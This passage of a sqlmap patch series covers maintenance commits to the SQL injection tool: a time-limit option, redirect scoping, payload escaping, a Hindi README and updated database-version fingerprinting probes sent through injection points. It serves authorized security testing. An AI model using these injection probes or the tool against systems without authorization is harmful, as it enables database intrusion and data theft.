From e0ec2fcdbdee71fba665f8c1b5b78fe2c4bb5499 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 28 Sep 2023 20:34:52 +0200 Subject: [PATCH 001/853] Implements option --time-limit (#5502) --- lib/core/convert.py | 5 +++++ lib/core/option.py | 1 + lib/core/optiondict.py | 1 + lib/core/settings.py | 2 +- lib/parse/cmdline.py | 3 +++ sqlmap.conf | 7 +++++-- 6 files changed, 16 insertions(+), 3 deletions(-) diff --git a/lib/core/convert.py b/lib/core/convert.py index c6f86aa1fe1..6478f98f219 100644 --- a/lib/core/convert.py +++ b/lib/core/convert.py @@ -16,6 +16,7 @@ import json import re import sys +import time from lib.core.bigarray import BigArray from lib.core.compat import xrange @@ -334,6 +335,10 @@ def getUnicode(value, encoding=None, noneToNull=False): True """ + # Best position for --time-limit mechanism + if conf.get("timeLimit") and kb.get("startTime") and (time.time() - kb.startTime > conf.timeLimit): + raise SystemExit + if noneToNull and value is None: return NULL diff --git a/lib/core/option.py b/lib/core/option.py index 951399fc0ab..897b6724ad6 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -2171,6 +2171,7 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.smokeMode = False kb.reduceTests = None kb.sslSuccess = False + kb.startTime = time.time() kb.stickyDBMS = False kb.suppressResumeInfo = False kb.tableFrom = None diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index d41e85b5ec1..b4dd0af7584 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -239,6 +239,7 @@ "skipWaf": "boolean", "testFilter": "string", "testSkip": "string", + "timeLimit": "float", "webRoot": "string", }, diff --git a/lib/core/settings.py b/lib/core/settings.py index 5370a248195..b60fa79a866 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.7.9.2" +VERSION = "1.7.9.3" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 95493b9b944..b62a790378d 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -736,6 +736,9 @@ def cmdLineParser(argv=None): general.add_argument("--test-skip", dest="testSkip", help="Skip tests by payloads and/or titles (e.g. BENCHMARK)") + general.add_argument("--time-limit", dest="timeLimit", type=float, + help="Run with a time limit in seconds (e.g. 3600)") + general.add_argument("--web-root", dest="webRoot", help="Web server document root directory (e.g. \"/var/www\")") diff --git a/sqlmap.conf b/sqlmap.conf index c74c20d349d..114324e8d52 100644 --- a/sqlmap.conf +++ b/sqlmap.conf @@ -820,12 +820,15 @@ skipWaf = False # Default: sqlmap tablePrefix = sqlmap -# Select tests by payloads and/or titles (e.g. ROW) +# Select tests by payloads and/or titles (e.g. ROW). testFilter = -# Skip tests by payloads and/or titles (e.g. BENCHMARK) +# Skip tests by payloads and/or titles (e.g. BENCHMARK). testSkip = +# Run with a time limit in seconds (e.g. 3600). +timeLimit = + # Web server document root directory (e.g. "/var/www"). webRoot = From 1740f6332e96fb85585e185d5c47aebbb78740c1 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 6 Oct 2023 19:48:30 +0200 Subject: [PATCH 002/853] Fixes #5536 --- lib/core/settings.py | 2 +- lib/request/connect.py | 2 +- lib/request/redirecthandler.py | 12 ++++++++++-- 3 files changed, 12 insertions(+), 4 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index b60fa79a866..a0b72050dcc 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.7.9.3" +VERSION = "1.7.10.0" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/connect.py b/lib/request/connect.py index 4b1a8d6d55a..23ac53c4e25 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -641,7 +641,7 @@ class _(dict): responseHeaders = conn.info() responseHeaders[URI_HTTP_HEADER] = conn.geturl() if hasattr(conn, "geturl") else url - if hasattr(conn, "redurl"): + if getattr(conn, "redurl", None) is not None: responseHeaders[HTTP_HEADER.LOCATION] = conn.redurl responseHeaders = patchHeaders(responseHeaders) diff --git a/lib/request/redirecthandler.py b/lib/request/redirecthandler.py index a305906b253..406ce6b6969 100644 --- a/lib/request/redirecthandler.py +++ b/lib/request/redirecthandler.py @@ -6,6 +6,7 @@ """ import io +import re import time import types @@ -71,6 +72,7 @@ def _redirect_request(self, req, fp, code, msg, headers, newurl): def http_error_302(self, req, fp, code, msg, headers): start = time.time() content = None + forceRedirect = False redurl = self._get_header_redirect(headers) if not conf.ignoreRedirects else None try: @@ -111,12 +113,18 @@ def http_error_302(self, req, fp, code, msg, headers): redurl = _urllib.parse.urljoin(req.get_full_url(), redurl) self._infinite_loop_check(req) - self._ask_redirect_choice(code, redurl, req.get_method()) + if conf.scope: + if not re.search(conf.scope, redurl, re.I): + redurl = None + else: + forceRedirect = True + else: + self._ask_redirect_choice(code, redurl, req.get_method()) except ValueError: redurl = None result = fp - if redurl and kb.choices.redirect == REDIRECTION.YES: + if redurl and (kb.choices.redirect == REDIRECTION.YES or forceRedirect): parseResponse(content, headers) req.headers[HTTP_HEADER.HOST] = getHostHeader(redurl) From 90cbaa1249ab5bffc0591f5b5b1eacc3b26ce14c Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 9 Oct 2023 11:07:09 +0200 Subject: [PATCH 003/853] Fixes #5539 --- lib/core/settings.py | 2 +- lib/request/connect.py | 3 +++ 2 files changed, 4 insertions(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index a0b72050dcc..e59f1d3710f 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.7.10.0" +VERSION = "1.7.10.1" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/connect.py b/lib/request/connect.py index 23ac53c4e25..fb5c861c98e 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -122,6 +122,7 @@ class WebSocketException(Exception): from lib.core.settings import RANDOM_INTEGER_MARKER from lib.core.settings import RANDOM_STRING_MARKER from lib.core.settings import REPLACEMENT_MARKER +from lib.core.settings import SAFE_HEX_MARKER from lib.core.settings import TEXT_CONTENT_TYPE_REGEX from lib.core.settings import UNENCODED_ORIGINAL_VALUE from lib.core.settings import UNICODE_ENCODING @@ -1069,7 +1070,9 @@ def queryPage(value=None, place=None, content=False, getRatioValue=False, silent if kb.postHint in (POST_HINT.SOAP, POST_HINT.XML): # payloads in SOAP/XML should have chars > and < replaced # with their HTML encoded counterparts + payload = payload.replace("&#", SAFE_HEX_MARKER) payload = payload.replace('&', "&").replace('>', ">").replace('<', "<").replace('"', """).replace("'", "'") # Reference: https://stackoverflow.com/a/1091953 + payload = payload.replace(SAFE_HEX_MARKER, "&#") elif kb.postHint == POST_HINT.JSON: payload = escapeJsonValue(payload) elif kb.postHint == POST_HINT.JSON_LIKE: From 3d244ea9c31e522d988c8a0b0181ea12301a67a8 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 20 Oct 2023 15:24:41 +0200 Subject: [PATCH 004/853] Fixes #5549 --- lib/core/settings.py | 2 +- tamper/if2case.py | 4 ++++ 2 files changed, 5 insertions(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index e59f1d3710f..3edf1e75d9a 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.7.10.1" +VERSION = "1.7.10.2" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/tamper/if2case.py b/tamper/if2case.py index 9e82459fa8b..533e1e210b2 100644 --- a/tamper/if2case.py +++ b/tamper/if2case.py @@ -7,6 +7,7 @@ from lib.core.compat import xrange from lib.core.enums import PRIORITY +from lib.core.settings import REPLACEMENT_MARKER __priority__ = PRIORITY.HIGHEST @@ -36,6 +37,7 @@ def tamper(payload, **kwargs): """ if payload and payload.find("IF") > -1: + payload = payload.replace("()", REPLACEMENT_MARKER) while payload.find("IF(") > -1: index = payload.find("IF(") depth = 1 @@ -64,4 +66,6 @@ def tamper(payload, **kwargs): else: break + payload = payload.replace(REPLACEMENT_MARKER, "()") + return payload From 57900d899c17698f782aca7c6b67eb957f6b99e2 Mon Sep 17 00:00:00 2001 From: GH05T HUNTER5 <108191615+GH05T-HUNTER5@users.noreply.github.com> Date: Sun, 22 Oct 2023 14:41:33 +0530 Subject: [PATCH 005/853] Create README-in-HI.md (#5551) --- doc/translations/README-in-HI.md | 50 ++++++++++++++++++++++++++++++++ 1 file changed, 50 insertions(+) create mode 100644 doc/translations/README-in-HI.md diff --git a/doc/translations/README-in-HI.md b/doc/translations/README-in-HI.md new file mode 100644 index 00000000000..623f1c7977e --- /dev/null +++ b/doc/translations/README-in-HI.md @@ -0,0 +1,50 @@ +# sqlmap ![](https://i.imgur.com/fe85aVR.png) + +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) + +sqlmap एक ओपन सोर्स प्रवेश परीक्षण उपकरण है जो SQL इन्जेक्शन दोषों की पहचान और उपयोग की प्रक्रिया को स्वचलित करता है और डेटाबेस सर्वरों को अधिकृत कर लेता है। इसके साथ एक शक्तिशाली पहचान इंजन, अंतिम प्रवेश परीक्षक के लिए कई निचले विशेषताएँ और डेटाबेस प्रिंट करने, डेटाबेस से डेटा निकालने, नीचे के फ़ाइल सिस्टम तक पहुँचने और आउट-ऑफ-बैंड कनेक्शन के माध्यम से ऑपरेटिंग सिस्टम पर कमांड चलाने के लिए कई बड़े रेंज के स्विच शामिल हैं। + +चित्रसंवाद +---- + +![स्क्रीनशॉट](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) + +आप [विकि पर](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) कुछ फीचर्स की दिखाते हुए छवियों का संग्रह देख सकते हैं। + +स्थापना +---- + +आप नवीनतम तारबाल को [यहां क्लिक करके](https://github.com/sqlmapproject/sqlmap/tarball/master) या नवीनतम ज़िपबॉल को [यहां क्लिक करके](https://github.com/sqlmapproject/sqlmap/zipball/master) डाउनलोड कर सकते हैं। + +प्राथमिकत: आप sqlmap को [गिट](https://github.com/sqlmapproject/sqlmap) रिपॉजिटरी क्लोन करके भी डाउनलोड कर सकते हैं: + + git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev + +sqlmap [Python](https://www.python.org/download/) संस्करण **2.6**, **2.7** और **3.x** पर किसी भी प्लेटफार्म पर तुरंत काम करता है। + +उपयोग +---- + +मौलिक विकल्पों और स्विच की सूची प्राप्त करने के लिए: + + python sqlmap.py -h + +सभी विकल्पों और स्विच की सूची प्राप्त करने के लिए: + + python sqlmap.py -hh + +आप [यहां](https://asciinema.org/a/46601) एक नमूना चलाने का पता लगा सकते हैं। sqlmap की क्षमताओं की एक अवलोकन प्राप्त करने, समर्थित फीचर्स की सूची और सभी विकल्पों और स्विच का वर्णन, साथ ही उदाहरणों के साथ, आपको [उपयोगकर्ता मैन्युअल](https://github.com/sqlmapproject/sqlmap/wiki/Usage) पर परामर्श दिया जाता है। + +लिंक +---- + +* मुखपृष्ठ: https://sqlmap.org +* डाउनलोड: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) या [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* संवाद आरएसएस फ़ीड: https://github.com/sqlmapproject/sqlmap/commits/master.atom +* समस्या ट्रैकर: https://github.com/sqlmapproject/sqlmap/issues +* उपयोगकर्ता मैन्युअल: https://github.com/sqlmapproject/sqlmap/wiki +* अक्सर पूछे जाने वाले प्रश्न (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ +* ट्विटर: [@sqlmap](https://twitter.com/sqlmap) +* डेमो: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* स्क्रीनशॉट: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots +* From e267c8fd5728e757fe302da07efef56f65fe31dd Mon Sep 17 00:00:00 2001 From: GH05T HUNTER5 <108191615+GH05T-HUNTER5@users.noreply.github.com> Date: Sun, 22 Oct 2023 14:41:50 +0530 Subject: [PATCH 006/853] Update README.md (#5552) --- README.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index 9cc4603d544..c2f7885b220 100644 --- a/README.md +++ b/README.md @@ -60,6 +60,7 @@ Translations * [Georgian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ka-GE.md) * [German](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-de-GER.md) * [Greek](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-gr-GR.md) +* [Hindi](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-in-HI.md) * [Indonesian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-id-ID.md) * [Italian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-it-IT.md) * [Japanese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ja-JP.md) @@ -73,4 +74,4 @@ Translations * [Spanish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-es-MX.md) * [Turkish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-tr-TR.md) * [Ukrainian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-uk-UA.md) -* [Vietnamese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-vi-VN.md) \ No newline at end of file +* [Vietnamese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-vi-VN.md) From 7a6abb56d29225b73d333df00ce06012517c5553 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 22 Oct 2023 11:13:17 +0200 Subject: [PATCH 007/853] Minor patch --- README.md | 4 ++-- doc/translations/{README-de-GER.md => README-de-DE.md} | 0 doc/translations/{README-ru-RUS.md => README-ru-RU.md} | 0 lib/core/settings.py | 2 +- 4 files changed, 3 insertions(+), 3 deletions(-) rename doc/translations/{README-de-GER.md => README-de-DE.md} (100%) rename doc/translations/{README-ru-RUS.md => README-ru-RU.md} (100%) diff --git a/README.md b/README.md index c2f7885b220..772c3d08738 100644 --- a/README.md +++ b/README.md @@ -58,7 +58,7 @@ Translations * [Dutch](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-nl-NL.md) * [French](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-fr-FR.md) * [Georgian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ka-GE.md) -* [German](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-de-GER.md) +* [German](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-de-DE.md) * [Greek](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-gr-GR.md) * [Hindi](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-in-HI.md) * [Indonesian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-id-ID.md) @@ -68,7 +68,7 @@ Translations * [Persian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-fa-IR.md) * [Polish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pl-PL.md) * [Portuguese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pt-BR.md) -* [Russian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ru-RUS.md) +* [Russian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ru-RU.md) * [Serbian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-rs-RS.md) * [Slovak](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-sk-SK.md) * [Spanish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-es-MX.md) diff --git a/doc/translations/README-de-GER.md b/doc/translations/README-de-DE.md similarity index 100% rename from doc/translations/README-de-GER.md rename to doc/translations/README-de-DE.md diff --git a/doc/translations/README-ru-RUS.md b/doc/translations/README-ru-RU.md similarity index 100% rename from doc/translations/README-ru-RUS.md rename to doc/translations/README-ru-RU.md diff --git a/lib/core/settings.py b/lib/core/settings.py index 3edf1e75d9a..3a88b2da652 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.7.10.2" +VERSION = "1.7.10.3" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 9d85d3005a877d12ae9fbfc708a00610f49af606 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 27 Oct 2023 15:17:47 +0200 Subject: [PATCH 008/853] Minor update of fingerprinting payloads --- lib/core/settings.py | 2 +- plugins/dbms/mysql/fingerprint.py | 5 +++-- plugins/dbms/oracle/fingerprint.py | 2 +- plugins/dbms/postgresql/fingerprint.py | 4 +++- 4 files changed, 8 insertions(+), 5 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 3a88b2da652..0868a444ef2 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.7.10.3" +VERSION = "1.7.10.4" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/dbms/mysql/fingerprint.py b/plugins/dbms/mysql/fingerprint.py index abdb94fd7ac..042bcf5a049 100644 --- a/plugins/dbms/mysql/fingerprint.py +++ b/plugins/dbms/mysql/fingerprint.py @@ -45,9 +45,10 @@ def _commentCheck(self): # Reference: https://dev.mysql.com/doc/relnotes/mysql/./en/ versions = ( - (80000, 80033), # MySQL 8.0 + (80100, 80102), # MySQL 8.1 + (80000, 80035), # MySQL 8.0 (60000, 60014), # MySQL 6.0 - (50700, 50742), # MySQL 5.7 + (50700, 50744), # MySQL 5.7 (50600, 50652), # MySQL 5.6 (50500, 50563), # MySQL 5.5 (50400, 50404), # MySQL 5.4 diff --git a/plugins/dbms/oracle/fingerprint.py b/plugins/dbms/oracle/fingerprint.py index 370d4540895..784460aafa7 100644 --- a/plugins/dbms/oracle/fingerprint.py +++ b/plugins/dbms/oracle/fingerprint.py @@ -105,7 +105,7 @@ def checkDbms(self): logger.info(infoMsg) # Reference: https://en.wikipedia.org/wiki/Oracle_Database - for version in ("21c", "19c", "18c", "12c", "11g", "10g", "9i", "8i", "7"): + for version in ("23c", "21c", "19c", "18c", "12c", "11g", "10g", "9i", "8i", "7"): number = int(re.search(r"([\d]+)", version).group(1)) output = inject.checkBooleanExpression("%d=(SELECT SUBSTR((VERSION),1,%d) FROM SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1)" % (number, 1 if number < 10 else 2)) diff --git a/plugins/dbms/postgresql/fingerprint.py b/plugins/dbms/postgresql/fingerprint.py index e72a38bd754..979d9ff5bc2 100644 --- a/plugins/dbms/postgresql/fingerprint.py +++ b/plugins/dbms/postgresql/fingerprint.py @@ -131,7 +131,9 @@ def checkDbms(self): infoMsg = "actively fingerprinting %s" % DBMS.PGSQL logger.info(infoMsg) - if inject.checkBooleanExpression("REGEXP_COUNT(NULL,NULL) IS NULL"): + if inject.checkBooleanExpression("RANDOM_NORMAL(0.0, 1.0) IS NOT NULL"): + Backend.setVersion(">= 16.0") + elif inject.checkBooleanExpression("REGEXP_COUNT(NULL,NULL) IS NULL"): Backend.setVersion(">= 15.0") elif inject.checkBooleanExpression("BIT_COUNT(NULL) IS NULL"): Backend.setVersion(">= 14.0") From bb1772c8b89cbadca67eded8f9064618ae21d9bd Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 31 Oct 2023 15:16:15 +0100 Subject: [PATCH 009/853] Fixes #5560 --- lib/controller/controller.py | 2 +- lib/core/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/controller/controller.py b/lib/controller/controller.py index 86a76442ac8..0c06b515307 100644 --- a/lib/controller/controller.py +++ b/lib/controller/controller.py @@ -513,7 +513,7 @@ def start(): paramKey = (conf.hostname, conf.path, place, parameter) if kb.processUserMarks: - if testSqlInj and place not in (PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER): + if testSqlInj and place not in (PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER, PLACE.URI): if kb.processNonCustom is None: message = "other non-custom parameters found. " message += "Do you want to process them too? [Y/n/q] " diff --git a/lib/core/settings.py b/lib/core/settings.py index 0868a444ef2..c97bd450733 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.7.10.4" +VERSION = "1.7.10.5" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 124c3902cca07c1850dd081d79eab8784e236d35 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 12 Nov 2023 20:03:53 +0100 Subject: [PATCH 010/853] Fixes #5565 --- lib/core/settings.py | 2 +- lib/techniques/union/test.py | 3 ++- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index c97bd450733..e38f2acf7a7 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.7.10.5" +VERSION = "1.7.11.0" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/techniques/union/test.py b/lib/techniques/union/test.py index 91ffa13b87b..a9a6358a7ff 100644 --- a/lib/techniques/union/test.py +++ b/lib/techniques/union/test.py @@ -133,7 +133,8 @@ def _orderByTest(cols): items.append((count, ratio)) if not isNullValue(kb.uChar): - for regex in (kb.uChar.strip("'"), r'>\s*%s\s*<' % kb.uChar.strip("'")): + value = re.escape(kb.uChar.strip("'")) + for regex in (value, r'>\s*%s\s*<' % value): contains = [count for count, content in pages.items() if re.search(regex, content or "", re.IGNORECASE) is not None] if len(contains) == 1: retVal = contains[0] From acce97bfcbf29bd07000056689a6a58fd25b7a34 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 12 Nov 2023 20:25:42 +0100 Subject: [PATCH 011/853] Patch related to the #5567 --- lib/core/option.py | 6 +++--- lib/core/settings.py | 2 +- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/lib/core/option.py b/lib/core/option.py index 897b6724ad6..612b855c8cc 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -929,7 +929,7 @@ def _setPreprocessFunctions(): else: try: function(_urllib.request.Request("http://localhost")) - except: + except Exception as ex: tbMsg = traceback.format_exc() if conf.debug: @@ -943,8 +943,8 @@ def _setPreprocessFunctions(): errMsg = "function 'preprocess(req)' " errMsg += "in preprocess script '%s' " % script - errMsg += "appears to be invalid " - errMsg += "(Note: find template script at '%s')" % filename + errMsg += "had issues in a test run ('%s'). " % getSafeExString(ex) + errMsg += "You can find a template script at '%s'" % filename raise SqlmapGenericException(errMsg) def _setPostprocessFunctions(): diff --git a/lib/core/settings.py b/lib/core/settings.py index e38f2acf7a7..e05d9d581c1 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.7.11.0" +VERSION = "1.7.11.1" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From de66b69f41e70a36d31dfa51b0947bbc9a29ea40 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 12 Nov 2023 20:38:47 +0100 Subject: [PATCH 012/853] Fixes #5566 --- lib/core/settings.py | 2 +- lib/request/connect.py | 2 ++ 2 files changed, 3 insertions(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index e05d9d581c1..5fec2e40754 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.7.11.1" +VERSION = "1.7.11.2" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/connect.py b/lib/request/connect.py index fb5c861c98e..57805c7fa56 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -1030,6 +1030,8 @@ def queryPage(value=None, place=None, content=False, getRatioValue=False, silent conf.httpHeaders = [_ for _ in conf.httpHeaders if _[1] != contentType] contentType = POST_HINT_CONTENT_TYPES.get(kb.postHint, PLAIN_TEXT_CONTENT_TYPE) conf.httpHeaders.append((HTTP_HEADER.CONTENT_TYPE, contentType)) + if "urlencoded" in contentType: + postUrlEncode = True if payload: delimiter = conf.paramDel or (DEFAULT_GET_POST_DELIMITER if place != PLACE.COOKIE else DEFAULT_COOKIE_DELIMITER) From 67ab79a62502500786311adea70dab8a411c082a Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 24 Nov 2023 01:39:24 +0100 Subject: [PATCH 013/853] Fixes #5574 --- lib/core/agent.py | 2 +- lib/core/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/agent.py b/lib/core/agent.py index d802f4c971e..d9949ea4f4d 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -891,7 +891,7 @@ def forgeUnionQuery(self, query, position, count, comment, prefix, suffix, char, if element > 0: unionQuery += ',' - if conf.uValues: + if conf.uValues and conf.uValues.count(',') + 1 == count: unionQuery += conf.uValues.split(',')[element] elif element == position: unionQuery += query diff --git a/lib/core/settings.py b/lib/core/settings.py index 5fec2e40754..82447cff3a3 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.7.11.2" +VERSION = "1.7.11.3" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 29f09e235c4f37a74307f201d2883a202ce8f7a9 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 1 Dec 2023 11:26:52 +0100 